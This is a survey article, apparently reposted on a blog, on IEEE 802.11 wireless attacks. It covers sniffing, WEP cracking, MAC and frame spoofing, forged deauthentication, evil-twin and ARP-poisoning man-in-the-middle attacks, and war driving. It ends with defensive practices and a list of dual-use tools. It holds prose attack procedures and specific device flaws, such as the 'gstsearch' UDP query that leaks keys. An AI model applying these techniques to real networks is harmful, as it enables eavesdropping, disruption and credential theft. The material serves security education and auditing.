Hacking Truth

Hacking Techniques in Wireless Networks

2013-03-17T22:44:00.002+08:00

Key Words

IEEE 802.11, wireless spoofing, cracking WEP, forged Deauthentication, rogue/ Trojan access points, session hijacking, war driving.

Abstract

This article describes IEEE 802.11-specific hacking techniques that attackers have used, and suggests various defensive measures. We describe sniffing, spoofing and probing in the context of wireless networks. We describe how SSIDs can be determined, how a sufficiently large number of frames can be collected so that WEP can be cracked. We show how easy it is to cause denial-of-service through jamming and through forged disassociations and deauthentications. We also explain three man-in-the-middle attacks using wireless networks. We give a list of selected open-source tools. We summarize the activity known as war driving. We conclude the article with several recommendations that will help improve security at a wireless deployment site.

1. Introduction

Wireless networks broadcast their packets using radio frequency or optical wavelengths. A modern laptop computer can listen in. Worse, an attacker can manufacture new packets on the fly and persuade wireless stations to accept his packets as legitimate.

We use the term hacking as described below.

hacker n. [originally, someone who makes furniture with an axe] 1. A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary. 2. One who programs enthusiastically (even obsessively) or who enjoys programming rather than just theorizing about programming. 3. A person capable of appreciating hack value. 4. A person who is good at programming quickly. 5. An expert at a particular program, or one who frequently does work using it or on it; as in `a Unix hacker'. (Definitions 1 through 5 are correlated, and people who fit them congregate.) 6. An expert or enthusiast of any kind. One might be an astronomy hacker, for example. 7. One who enjoys the intellectual challenge of creatively overcoming or circumventing limitations. 8. [deprecated] A malicious meddler who tries to discover sensitive information by poking around. Hence `password hacker', `network hacker'. The correct term for this sense is cracker.

From The Jargon Dictionary http://info.astrian.net/jargon/

This article describes IEEE 802.11-specific hacking techniques that attackers have used, and suggests various defensive measures. It is not an overview of security features proposed in WPA or IEEE 802.11i. We do not consider legal implications, or the intent behind such hacking, whether malevolent or benevolent. The article’s focus is in describing techniques, methods, analyses and uses in ways unintended by the designers of IEEE 802.11.

2. Wireless LAN Overview

In this section, we give a brief overview of wireless LAN (WLAN) while emphasizing the features that help an attacker. We assume that the reader is familiar with the TCP/IP suite (see, e.g., [Mateti 2003]).

IEEE 802.11 refers to a family of specifications (www.ieee802.org/11/) developed by the IEEE for over-the-air interface between a wireless client and an AP or between two wireless clients. To be called 802.11 devices, they must conform to the Medium Access Control (MAC) and Physical Layer specifications. The IEEE 802.11 standard covers the Physical (Layer 1) and Data Link (Layer 2) layers of the OSI Model. In this article, we are mainly concerned with the MAC layer and not the variations of the physical layer known as 802.11a/b/g.

2.1 Stations and Access Points

A wireless network interface card (adapter) is a device, called a station, providing the network physical layer over a radio link to another station. An access point (AP) is a station that provides frame distribution service to stations associated with it. The AP itself is typically connected by wire to a LAN.

The station and AP each contain a network interface that has a Media Access Control (MAC) address, just as wired network cards do. This address is a world-wide-unique 48-bit number, assigned to it at the time of manufacture. The 48-bit address is often represented as a string of six octets separated by colons (e.g., 00:02:2D:17:B9:E8) or hyphens (e.g., 00-02-2D-17-B9-E8). While the MAC address as assigned by the manufacturer is printed on the device, the address can be changed in software.

Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage. If two wireless networks are physically close, the SSIDs label the respective networks, and allow the components of one network to ignore those of the other. SSIDs can also be mapped to virtual LANs; thus, some APs support multiple SSIDs. Unlike fully qualified host names (e.g., gamma.cs.wright.edu), SSIDs are not registered, and it is possible that two unrelated networks use the same SSID.

2.2 Channels

The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring channels may interfere with each other.

2.3 WEP

Wired Equivalent Privacy (WEP) is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. WEP encrypts the payload of data packets. Management and control frames are always transmitted in the clear. WEP uses the RC4 encryption algorithm. The shared-secret key is either 40 or 104 bits long. The key is chosen by the system administrator. This key must be shared among all the stations and the AP using mechanisms that are not specified in the IEEE 802.11.

2.4 Infrastructure and Ad Hoc Modes

A wireless network operates in one of two modes. In the ad hoc mode, each station is a peer to the other stations and communicates directly with other stations within the network. No AP is involved. All stations can send Beacon and Probe frames. The ad hoc mode stations form an Independent Basic Service Set (IBSS).

A station in the infrastructure mode communicates only with an AP. Basic Service Set (BSS) is a set of stations that are logically associated with each other and controlled by a single AP. Together they operate as a fully connected wireless network. The BSSID is a 48-bit number of the same format as a MAC address. This field uniquely identifies each BSS. The value of this field is the MAC address of the AP.

2.5 Frames

Both the station and AP radiate and gather 802.11 frames as needed. The format of frames is illustrated below. Most of the frames contain IP packets. The other frames are for the management and control of the wireless connection.

Figure 1 An IEEE 802.11 Frame

There are three classes of frames. The management frames establish and maintain communications. These are of Association request, Association response, Reassociation request, Reassociation response, Probe request, Probe response, Beacon, Announcement traffic indication message, Disassociation, Authentication, Deauthentication types. The SSID is part of several of the management frames. Management messages are always sent in the clear, even when link encryption (WEP or WPA) is used, so the SSID is visible to anyone who can intercept these frames.

The control frames help in the delivery of data.

The data frames encapsulate the OSI Network Layer packets. These contain the source and destination MAC address, the BSSID, and the TCP/IP datagram. The payload part of the datagram is WEP-encrypted.

2.6 Authentication

Authentication is the process of proving identity of a station to another station or AP. In the open system authentication, all stations are authenticated without any checking. A station A sends an Authentication management frame that contains the identity of A, to station B. Station B replies with a frame that indicates recognition, addressed to A. In the closed network architecture, the stations must know the SSID of the AP in order to connect to the AP. The shared key authentication uses a standard challenge and response along with a shared secret key.

Figure 2: States and Services

2.7 Association

Data can be exchanged between the station and AP only after a station is associated with an AP in the infrastructure mode or with another station in the ad hoc mode. All the APs transmit Beacon frames a few times each second that contain the SSID, time, capabilities, supported rates, and other information. Stations can chose to associate with an AP based on the signal strength etc. of each AP. Stations can have a null SSID that is considered to match all SSIDs.

The association is a two-step process. A station that is currently unauthenticated and unassociated listens for Beacon frames. The station selects a BSS to join. The station and the AP mutually authenticate themselves by exchanging Authentication management frames. The client is now authenticated, but unassociated. In the second step, the station sends an Association Request frame, to which the AP responds with an Association Response frame that includes an Association ID to the station. The station is now authenticated and associated.

A station can be authenticated with several APs at the same time, but associated with at most one AP at any time. Association implies authentication. There is no state where a station is associated but not authenticated.

3. Wireless Network Sniffing

Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. Sniffing is the act by a machine S of making copies of a network packet sent by machine A intended to be received by machine B. Such sniffing, strictly speaking, is not a TCP/IP problem, but it is enabled by the choice of broadcast media, Ethernet and 802.11, as the physical and data link layers.

Sniffing has long been a reconnaissance technique used in wired networks. Attackers sniff the frames necessary to enable the exploits described in later sections. Sniffing is the underlying technique used in tools that monitor the health of a network. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.

It is easier to sniff wireless networks than wired ones. It is easy to sniff the wireless traffic of a building by setting shop in a car parked in a lot as far away as a mile, or while driving around the block. In a wired network, the attacker must find a way to install a sniffer on one or more of the hosts in the targeted subnet. Depending on the equipment used in a LAN, a sniffer needs to be run either on the victim machine whose traffic is of interest or on some other host in the same subnet as the victim. An attacker at large on the Internet has other techniques that make it possible to install a sniffer remotely on the victim machine.

3.1 Passive Scanning

Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner.

An attacker can passively scan without transmitting at all. Several modes of a station permit this. There is a mode called RF monitor mode that allows every frame appearing on a channel to be copied as the radio of the station tunes to various channels. This is analogous to placing a wired Ethernet card in promiscuous mode. This mode is not enabled by default. Some wireless cards on the market today have disabled this feature in the default firmware. One can buy wireless cards whose firmware and corresponding driver software together permit reading of all raw 802.11 frames. A station in monitor mode can capture packets without associating with an AP or ad-hoc network. The so-called promiscuous mode allows the capture of all wireless packets of an associated network. In this mode, packets cannot be read until authentication and association are completed.

An example sniffer is Kismet (http://www.kismetwireless.net). An example wireless card that permits RF monitor modes is Cisco Aironet AIR-PCM342.

3.2 Detection of SSID

The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.

On a number of APs, it is possible to configure so that the SSID transmitted in the Beacon frames is masked, or even turn off Beacons altogether. The SSID shown in the Beacon frames is set to null in the hope of making the WLAN invisible unless a client already knows the correct SSID. In such a case, a station wishing to join a WLAN begins the association process by sending Probe Requests since it could not detect any APs via Beacons that match its SSID.

If the Beacons are not turned off, and the SSID in them is not set to null, an attacker obtains the SSID included in the Beacon frame by passive scanning.

When the Beacon displays a null SSID, there are two possibilities. Eventually, an Associate Request may appear from a legitimate station that already has a correct SSID. To such a request, there will be an Associate Response frame from the AP. Both frames will contain the SSID in the clear, and the attacker sniffs these. If the station wishes to join any available AP, it sends Probe Requests on all channels, and listens for Probe Responses that contain the SSIDs of the APs. The station considers all Probe Responses, just as it would have with the non-empty SSID Beacon frames, to select an AP. Normal association then begins. The attacker waits to sniff these Probe Responses and extract the SSIDs.

If Beacon transmission is disabled, the attacker has two choices. The attacker can keep sniffing waiting for a voluntary Associate Request to appear from a legitimate station that already has a correct SSID and sniff the SSID as described above. The attacker can also chose to actively probe by injecting frames that he constructs, and then sniffs the response as described in a later section.

When the above methods fail, SSID discovery is done by active scanning (see Section 5).

3.3 Collecting the MAC Addresses

The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames. There are two reasons why an attacker would collect MAC addresses of stations and APs participating in a wireless network. (1) The attacker wishes to use these values in spoofed frames so that his station or AP is not identified. (2) The targeted AP may be controlling access by filtering out frames with MAC addresses that were not registered.

3.4 Collecting the Frames for Cracking WEP

The goal of an attacker is to discover the WEP shared-secret key. Often, the shared key can be discovered by guesswork based on a certain amount of social engineering regarding the administrator who configures the wireless LAN and all its users. Some client software stores the WEP keys in the operating system registry or initialization scripts. In the following, we assume that the attacker was unsuccessful in obtaining the key in this manner. The attacker then employs systematic procedures in cracking the WEP. For this purpose, a large number (millions) of frames need to be collected because of the way WEP works.

The wireless device generates on the fly an Initialization Vector (IV) of 24-bits. Adding these bits to the shared-secret key of either 40 or 104 bits, we often speak of 64-, or 128-bit encryption. WEP generates a pseudo-random key stream from the shared secret key and the IV. The CRC-32 checksum of the plain text, known as the Integrity Check (IC) field, is appended to the data to be sent. It is then exclusive-ORed with the pseudo-random key stream to produce the cipher text. The IV is appended in the clear to the cipher text and transmitted. The receiver extracts the IV, uses the secret key to re-generate the random key stream, and exclusive-ORs the received cipher text to yield the original plaintext.

Certain cards are so simplistic that they start their IV as 0 and increment it by 1 for each frame, resetting in between for some events. Even the better cards generate weak IVs from which the first few bytes of the shared key can be computed after statistical analyses. Some implementations generate fewer mathematically weak vectors than others do.

The attacker sniffs a large number of frames from a single BSS. These frames all use the same key. The mathematics behind the systematic computation of the secret shared key from a collection of cipher text extracted from these frames is described elsewhere in this volume. What is needed however is a collection of frames that were encrypted using “mathematically-weak” IVs. The number of encrypted frames that were mathematically weak is a small percentage of all frames. In a collection of a million frames, there may only be a hundred mathematically weak frames. It is conceivable that the collection may take a few hours to several days depending on how busy the WLAN is.

Given a sufficient number of mathematically weak frames, the systematic computation that exposes the bytes of the secret key is intensive. However, an attacker can employ powerful computers. On an average PC, this may take a few seconds to hours. The storage of the large numbers of frames is in the several hundred-mega bytes to a few giga bytes range.

An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).

3.5 Detection of the Sniffers

Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the wireless device can be detected.

4. Wireless Spoofing

There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.

4.1 MAC Address Spoofing

The attacker generally desires to be hidden. But the probing activity injects frames that are observable by system administrators. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.

Typical APs control access by permitting only those stations with known MAC addresses. Either the attacker has to compromise a computer system that has a station, or he spoofs with legitimate MAC addresses in frames that he manufactures. MAC addresses are assigned at the time of manufacture, but setting the MAC address of a wireless card or AP to an arbitrary chosen value is a simple matter of invoking an appropriate software tool that engages in a dialog with the user and accepts values. Such tools are routinely included when a station or AP is purchased. The attacker, however, changes the MAC address programmatically, sends several frames with that address, and repeats this with another MAC address. In a period of a second, this can happen several thousand times.

When an AP is not filtering MAC addresses, there is no need for the attacker to use legitimate MAC addresses. However, in certain attacks, the attacker needs to have a large number of MAC addresses than he could collect by sniffing. Random MAC addresses are generated. However, not every random sequence of six bytes is a MAC address. The IEEE assigns globally the first three bytes, and the manufacturer chooses the last three bytes. The officially assigned numbers are publicly available. The attacker generates a random MAC address by selecting an IEEE-assigned three bytes appended with an additional three random bytes.

4.2 IP spoofing

Replacing the true IP address of the sender (or, in rare cases, the destination) with a different address is known as IP spoofing. This is a necessary operation in many attacks.

The IP layer of the OS simply trusts that the source address, as it appears in an IP packet is valid. It assumes that the packet it received indeed was sent by the host officially assigned that source address. Because the IP layer of the OS normally adds these IP addresses to a data packet, a spoofer must circumvent the IP layer and talk directly to the raw network device. Note that the attacker’s machine cannot simply be assigned the IP address of another host X using ifconfig or a similar configuration tool. Other hosts, as well as X, will discover (through ARP, for example) that there are two machines with the same IP address.

IP spoofing is an integral part of many attacks. For example, an attacker can silence a host A from sending further packets to B by sending a spoofed packet announcing a window size of zero to A as though it originated from B.

4.3 Frame Spoofing

The attacker will inject frames that are valid by 802.11 specifications, but whose content is carefully spoofed as described above.

Frames themselves are not authenticated in 802.11 networks. So when a frame has a spoofed source address, it cannot be detected unless the address is wholly bogus. If the frame to be spoofed is a management or control frame, there is no encryption to deal with. If it is a data frame, perhaps as part of an on-going MITM attack, the data payload must be properly encrypted.

Construction of the byte stream that constitutes a spoofed frame is a programming matter once the attacker has gathered the needed information through sniffing and probing. There are software libraries that ease this task. Examples of such libraries are libpcap (sourceforge.net/projects/libpcap/), libnet (libnet.sourceforge.net/), libdnet (libdnet. sourceforge.net/) and libradiate (www.packetfactory.net/projects/libradiate/ ).

The difficulty here is not in the construction of the contents of the frame, but in getting, it radiated (transmitted) by the station or an AP. This requires control over the firmware and driver of the wireless card that may sanitize certain fields of a frame. Therefore, the attacker selects his equipment carefully. Currently, there are off-the-shelf wireless cards that can be manipulated. In addition, the construction of special purpose wireless cards is within the reach of a resourceful attacker.

5. Wireless Network Probing

Even though the attacker gathers considerable amount of information regarding a wireless network through sniffing, without revealing his wireless presence at all, there are pieces that may still be missing. The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.

The target may discover that it is being probed, it might even be a honey pot (www.honeynet.org/) target carefully constructed to trap the attacker. The attacker would try to minimize this risk.

5.1 Detection of SSID

Detection of SSID is often possible by simply sniffing Beacon frames as describe in a previous section.

If Beacon transmission is disabled, and the attacker does not wish to patiently wait for a voluntary Associate Request to appear from a legitimate station that already has a correct SSID, or Probe Requests from legitimate stations, he will resort to probing by injecting a Probe Request frame that contains a spoofed source MAC address. The Probe Response frame from the APs will contain, in the clear, the SSID and other information similar to that in the Beacon frames were they enabled. The attacker sniffs these Probe Responses and extracts the SSIDs.

Some models of APs have an option to disable responding to Probe Requests that do not contain the correct SSID. In this case, the attacker determines a station associated with the AP, and sends the station a forged Disassociation frame where the source MAC address is set to that of the AP. The station will send a Reassociation Request that exposes the SSID.

5.2 Detection of APs and stations

Every AP is a station, so SSIDs, MAC addresses are gathered as described above.

Certain bits in the frames identify that the frame is from an AP. If we assume that WEP is either disabled or cracked, the attacker can also gather the IP addresses of the AP and the stations.

5.3 Detection of Probing

Detection of probing is possible. The frames that an attacker injects can also be heard by the intrusion detection systems (IDS) of hardened wireless LAN. There is GPS-enabled equipment that can identify the physical coordinates of a wireless device through which the probe frames are being transmitted.

6. AP Weaknesses

APs have weaknesses that are both due to design mistakes and user interfaces that promote weak passwords, etc. It has been demonstrated by many publicly conducted war-driving efforts (www.worldwidewardrive.org) in major cities around the world that a large majority of the deployed APs are poorly configured, most with WEP disabled, and configuration defaults, as set up the manufacturer, untouched.

6.1 Configuration

The default WEP keys used are often too trivial. Different APs use different techniques to convert the user’s key board input into a bit vector. Usually 5 or 13 ASCII printable characters are directly mapped by concatenating their ASCII 8-bit codes into a 40-bit or 104-bit WEP key. A stronger key can be constructed from an input of 26 hexadecimal digits. It is possible to form an even stronger104 bit WEP key by truncating the MD5 hash of an arbitrary length pass phrase.

6.2 Defeating MAC Filtering

Typical APs permit access to only those stations with known MAC addresses. This is easily defeated by the attacker who spoofs his frames with a MAC address that is registered with the AP from among the ones that he collected through sniffing. That a MAC address is registered can be detected by observing the frames from the AP to the stations.

6.3 Rogue AP

Access points that are installed without proper authorization and verification that overall security policy is obeyed are called rogue APs. These are installed and used by valid users. Such APs are configured poorly, and attackers will find them.

6.4 Trojan AP

An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP. If WEP is enabled, the attacker would have already cracked it. A legitimate user selects the Trojan AP because of the stronger signal, authenticates and associates. The Trojan AP is connected to a system that collects the IP traffic for later analyses. It then transmits all the frames to a legitimate AP so that the victim user does not recognize the on-going MITM attack. The attacker can steal the users password, network access, compromise the user’s system to give himself root access. This attack is called the Evil Twin Attack.

It is easy to build a Trojan AP because an AP is a computer system optimized for its intended application. A general purpose PC with a wireless card can be turned into a capable AP. An example of such software is HostAP (http://hostap.epitest.fi/ ). Such a Trojaned AP would be formidable.

6.5 Equipment Flaws

A search on www.securityfocus.com with “access point vulnerabilities” will show that numerous flaws in equipment from well-known manufacturers are known. For example, one such AP crashes when a frame is sent to it that has the spoofed source MAC address of itself. Another AP features an embedded TFTP (Trivial File Transfer Protocol) server. By requesting a file named config.img via TFTP, an attacker receives the binary image of the AP configuration. The image includes the administrator’s password required by the HTTP user interface, the WEP encryption keys, MAC address, and SSID. Yet another AP returns the WEP keys, MAC filter list, administrator’s password when sent a UDP packet to port 27155 containing the string “gstsearch”.

It is not clear how these flaws were discovered. The following is a likely procedure. Most manufacturers design their equipment so that its firmware can be flashed with a new and improved one in the field. The firmware images are downloaded from the manufacturers’ web site. The CPU used in the APs can be easily recognized, and the firmware can be systematically disassembled revealing the flaws at the assembly language level.

Comprehensive lists of such equipment flaws are likely circulating among the attackers.

7. Denial of Service

A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop an on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.

7.1 Jamming the Air Waves

A number of consumer appliances such as microwave ovens, baby monitors, and cordless phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large amounts of noise using these devices and jam the airwaves so that the signal to noise drops so low, that the wireless LAN ceases to function. The only solution to this is RF proofing the surrounding environment.

7.2 Flooding with Associations

The AP inserts the data supplied by the station in the Association Request into a table called the association table that the AP maintains in its memory. The IEEE 802.11 specifies a maximum value of 2007 concurrent associations to an AP. The actual size of this table varies among different models of APs. When this table overflows, the AP would refuse further clients.

Having cracked WEP, an attacker authenticates several non-existing stations using legitimate-looking but randomly generated MAC addresses. The attacker then sends a flood of spoofed associate requests so that the association table overflows.

Enabling MAC filtering in the AP will prevent this attack.

7.3 Forged Dissociation

The attacker sends a spoofed Disassociation frame where the source MAC address is set to that of the AP. The station is still authenticated but needs only to reassociate and sends Reassociation Requests to the AP. The AP may send a Reassociation Response accepting the station and the station can then resume sending data. To prevent Reassociation, the attacker continues to send Disassociation frames for a desired period.

7.4 Forged Deauthentication

The attacker monitors all raw frames collecting the source and destination MAC addresses to verify that they are among the targeted victims. When a data or Association Response frame is observed, the attacker sends a spoofed Deauthentication frame where the source MAC address is spoofed to that of the AP. The station is now unassociated and unauthenticated, and needs to reconnect. To prevent a reconnection, the attacker continues to send Deauthentication frames for a desired period. The attacker may even rate limit the Deauthentication frames to avoid overloading an already congested network.

The mischievous packets of Disassociation and Deauthentication are sent directly to the client, so these will not be logged by the AP or IDS, and neither MAC filtering nor WEP protection will prevent it.

7.5 Power Saving

Power conservation is important for typical station laptops, so they frequently enter an 802.11 state called Doze. An attacker can steal packets intended for a station while the station is in the Doze state.

The 802.11 protocol requires a station to inform the AP through a successful frame exchange that it wishes to enter the Doze state from the Active state.

Periodically the station awakens and sends a PS-Poll frame to the AP. The AP will transmit in response the packets that were buffered for the station while it was dozing. This polling frame can be spoofed by an attacker causing the AP to send the collected packets and flush its internal buffers. An attacker can repeat these polling messages so that when the legitimate station periodically awakens and polls, AP will inform that there are no pending packets.

8. Man-in-the-Middle Attacks

Man-in-the-middle (MITM) attack refers to the situation where an attacker on host X inserts X between all communications between hosts B and C, and neither B nor C is aware of the presence of X. All messages sent by B do reach C but via X, and vice versa. The attacker can merely observe the communication or modify it before sending it out. An MITM attack can break connections that are otherwise secure. At the TCP level, SSH and VPN, e.g., are prone to this attack.

8.1 Wireless MITM

Assume that station B was authenticated with C, a legitimate AP. Attacker X is a laptop with two wireless cards. Through one card, he will present X as an AP. Attacker X sends Deauthentication frames to B using the C’s MAC address as the source, and the BSSID he has collected. B gets deauthenticated and begins a scan for an AP and may find X on a channel different from C. There is a race condition between X and C. If B associates with X, the MITM attack succeeded. X will re-transmit the frames it receives from B to C, and the frames it receives from C to B after suitable modifications.

The package of tools called AirJack (http://802.11ninja.net/airjack/) includes a program called monkey_jack that automates the MITM attack. This is programmed well so that the odds of it winning in the race condition mentioned above are improved.

8.2 ARP Poisoning

ARP cache poisoning is an old problem in wired networks. Wired networks have deployed mitigating techniques. But, the ARP poisoning technique is re-enabled in the presence of APs that are connected to a switch/hub along with other wired clients.

ARP is used to determine the MAC address of a device whose IP address is known. The translation is performed with a table look-up. The ARP cache accumulates as the host continues to network. If the ARP cache does not have an entry for an IP address, the outgoing IP packet is queued, and an ARP Request packet that effectively requests “If your IP address matches this target IP address, then please let me know what your Ethernet address is” is broadcast. The host with the target IP is expected to respond with an ARP Reply, which contains the MAC address of the host. Once the table is updated because of receiving this response, all the queued IP packets can now be sent. The entries in the table expire after a set time in order to account for possible hardware address changes for the same IP address. This change may have happened, e.g., due to the NIC being replaced.

Unfortunately, the ARP does not provide for any verification that the responses are from valid hosts or that it is receiving a spurious response as if it has sent an ARP Request. ARP poisoning is an attack technique exploiting this lack of verification. It corrupts the ARP cache that the OS maintains with wrong MAC addresses for some IP addresses. An attacker accomplishes this by sending an ARP Reply packet that is deliberately constructed with a “wrong” MAC address. The ARP is a stateless protocol. Thus, a machine receiving an ARP Reply cannot determine if the response is due to a request it sent or not.

ARP poisoning is one of the techniques that enables the man-in-the-middle attack. An attacker on machine X inserts himself between two hosts B and C by (i) poisoning B so that C’s IP address is associated with X’s MAC address, (ii) poisoning C so that B’s address is associated with X’s MAC address, and (iii) relaying the packets X receives.

The ARP poison attack is applicable to all hosts in a subnet. Most APs act as transparent MAC layer bridges, and so all stations associated with it are vulnerable. If an access point is connected directly to a hub or a switch without an intervening router/firewall, then all hosts connected to that hub or switch are susceptible also. Note that recent devices aimed at the home consumer market combine a network switch with may be four or five ports, an AP, a router and a DSL/cable modem connecting to the Internet at large. Internally, the AP is connected to the switch. As a result, an attacker on a wireless station can become a MITM between two wired hosts, one wired one wireless, or both wireless hosts.

The tool called Ettercap ((http://ettercap.sourceforge.net) is capable of performing ARP poisoning.

8.3 Session Hijacking

Session hijacking occurs in the context of a “user”, whether human or computer. The user has an on-going connection with a server. Hijacking is said to occur when an attacker causes the user to lose his connection, and the attacker assumes his identity and privileges for a period.

An attacker disables temporarily the user’s system, say by a DoS attack or a buffer overflow exploit. The attacker then takes the identity of the user. The attacker now has all the access that the user has. When he is done, he stops the DoS attack, and lets the user resume. The user may not detect the interruption if the disruption lasts no more than a couple of seconds. Such hijacking can be achieved by using forged Disassociation DoS attack.

Corporate wireless networks are often set up so that the user is directed to an authentication server when his station attempts a connection with an AP. After the authentication, the attacker employs the session hijacking described above using spoofed MAC addresses.

9. War Driving

Equipped with wireless devices and related tools, and driving around in a vehicle or parking at interesting places with a goal of discovering easy-to-get-into wireless networks is known as war driving. War-drivers (http://www.wardrive.net/) define war driving as “The benign act of locating and logging wireless access points while in motion.” This benign act is of course useful to the attackers.

9.1 War chalking

War chalking is the practice of marking sidewalks and walls with special symbols to indicate that wireless access is nearby so that others do not need to go through the trouble of the same discovery. A search on www.google.com with key words “war driving maps” will produce a large number of hits. Yahoo! Maps can show "Wi-fi Hotspots" near an address you give.

Figure 3: War Chalking Symbols

9.2 Typical Equipment

The typical war driving equipment consists of a laptop computer system or a PDA with a wireless card, a GPS, and a high-gain antenna. Typical choice of an operating system is Linux or FreeBSD where open source sniffers (e.g., Kismet) and WEP crackers (e.g., AirSnort) are available. Similar tools (e.g., NetStumbler) that run on Windows are available.

War drivers need to be within the range of an AP or station located on the target network. The range depends on the transmit output power of the AP and the card, and the gain of the antenna. Ordinary access point antennae transmit their signals in all directions. Often, these signals reach beyond the physical boundaries of the intended work area, perhaps to adjacent buildings, floors, and parking lots. With the typical 30mW wireless cards intended for laptops, the range is about 300 feet, but there are in 2004 wireless cards for laptops on the market that have 200mW. Directional high-gain antennae and an RF-amplifier can dramatically extend the range.

Figure 4: War Drivers' Equipment

10. Wireless Security Best Practices

This section describes best practices in mitigating the problems described above.

10.1 Location of the APs

APs should be topologically located outside the perimeter firewalls. The wireless network segments should be treated with the same suspicion as that for the public Internet. Additionally, it is important to use directional antennae and physically locate them in such a way that the radio-coverage volume is within the control of the corporation or home.

10.2 Proper Configuration

Statistics collected by www.worldwidewardrive.org show a distressingly large percentage of APs left configured with the defaults.

Before a wireless device is connected to the rest of the existing network, proper configuration of the wireless device is necessary. The APs come with a default SSID, such as “Default SSID”, “WLAN”, “Wireless”, “Compaq”, “intel”, and “linksys”. The default passwords for the administrator accounts that configure the AP via a web browser or SNMP are well known for all manufacturers. A proper configuration should change these to difficult to predict values.

Note that the SSID serves as a simple handle, not as a password, for a wireless network. Unless the default SSID on the AP and stations is changed, SSID broadcasts are disabled, MAC address filtering is enabled, WEP enabled, an attacker can use the wireless LAN resources without even sniffing.

The configuration via web browsing (HTTP) is provided by a simplistic web server built into an AP. Often this configuration interface is provided via both wired connections and wireless connections. The web server embedded in a typical AP does not contain secure HTTP, so the password that the administrator submits to the AP can be sniffed. Web based configuration via wireless connections should be disabled.

WEP is disabled in some organization because the throughput is then higher. Enabling WEP encryption makes it necessary for the attacker intending to WEP-crack to have to sniff a large number of frames. The higher the number of bits in the encryption the larger the number of frames that must be collected is. The physical presence in the radio range of the equipment for long periods increases the odds of his equipment being detected. WEP should be enabled.

The IEEE 802.11 does not describe an automated way of distributing the shared-secret keys. In large installations, the manual distribution of keys every time they are changed is expensive. Nevertheless, the WEP encryption keys should be changed periodically.

10.3 Secure Protocols

If the WEP is disabled, or after the WEP is cracked, the attacker can capture all TCP/IP packets by radio-silent sniffing for later analyses. All the wired network attacks are possible. There are real-time tools that analyze and interpret the TCP/IP data as they arrive.

All protocols that send passwords and data in the clear must be avoided. This includes the rlogin family, telnet, and POP3. Instead one should use SSH and VPN.

In general, when a wireless segment is involved, one should use end-to-end encryption at the application level in addition to enabling WEP.

10.4 Wireless IDS

A wireless intrusion detection system (WIDS) is often a self-contained computer system with specialized hardware and software to detect anomalous behavior. The underlying software techniques are the same hacking techniques described above. The special wireless hardware is more capable than the commodity wireless card, including the RF monitor mode, detection of interference, and keeping track of signal-to-noise ratios. It also includes GPS equipment so that rogue clients and APs can be located. A WIDS includes one or more listening devices that collect MAC addresses, SSIDs, features enabled on the stations, transmit speeds, current channel, encryption status, beacon interval, etc. Its computing engine will be powerful enough that it can dissect frames and WEP-decrypt into IP and TCP components. These can be fed into TCP/IP related intrusion detection systems.

Unknown MAC addresses are detected by maintaining a registry of MAC addresses of known stations and APs. Frequently, a WIDS can detect spoofed known MAC addresses because the attacker could not control the firmware of the wireless card to insert the appropriate sequence numbers into the frame.

10.5 Wireless Auditing

Periodically, every wireless network should be audited. Several audit firms provide this service for a fee. A security audit begins with a well-established security policy. A policy for wireless networks should include a description of the geographical volume of coverage. The main goal of an audit is to verify that there are no violations of the policy. To this end, the typical auditor employs the tools and techniques of an attacker.

10.6 Newer Standards and Protocols

Many improvements in wireless network technology are proposed through proprietary channels (e.g., Cisco Lightweight Extensible Authentication Protocol) as well as through the IEEE. The new IEEE 802.11i (ratified in June 2004) enhances the current 802.11 standard to provide improvements in security. These include Port Based Access Control for authentication, Temporal Key Integrity Protocol for dynamic changing of encryption keys, and Wireless Robust Authentication protocol. An interim solution proposed by vendors is the Wi-Fi Protected Access (WPA), a subset of 802.11i, is only now becoming available in some products. Time will tell if these can withstand future attacks.

10.7 Software Tools

Below we describe a collection of cost-free tools that can be used both as attack tools and as audit tools.

· AirJack (http://802.11ninja.net/airjack/) is a collection of wireless card drivers and related programs. It includes a program called monkey_jack that automates the MITM attack. Wlan_jack is a DoS tool that accepts a target source and BSSID to send continuous deauthenticate frames to a single client or an entire network (broadcast address). Essid_jack sends a disassociate frame to a target client in order to force the client to reassociate with the network, thereby giving up the network SSID.

AirSnort (www.airsnort.shmoo.com ) can break WEP by passively monitoring transmissions and computing the encryption key when enough packets have been gathered.
Ethereal (www.ethereal.com ) is a LAN analyzer, including wireless. One can interactively browse the capture data, viewing summary and detail information for all observed wireless traffic.
FakeAP (ww.blackalchemy.to/project/fakeap) can generate thousands of counterfeit 802.11b access points.
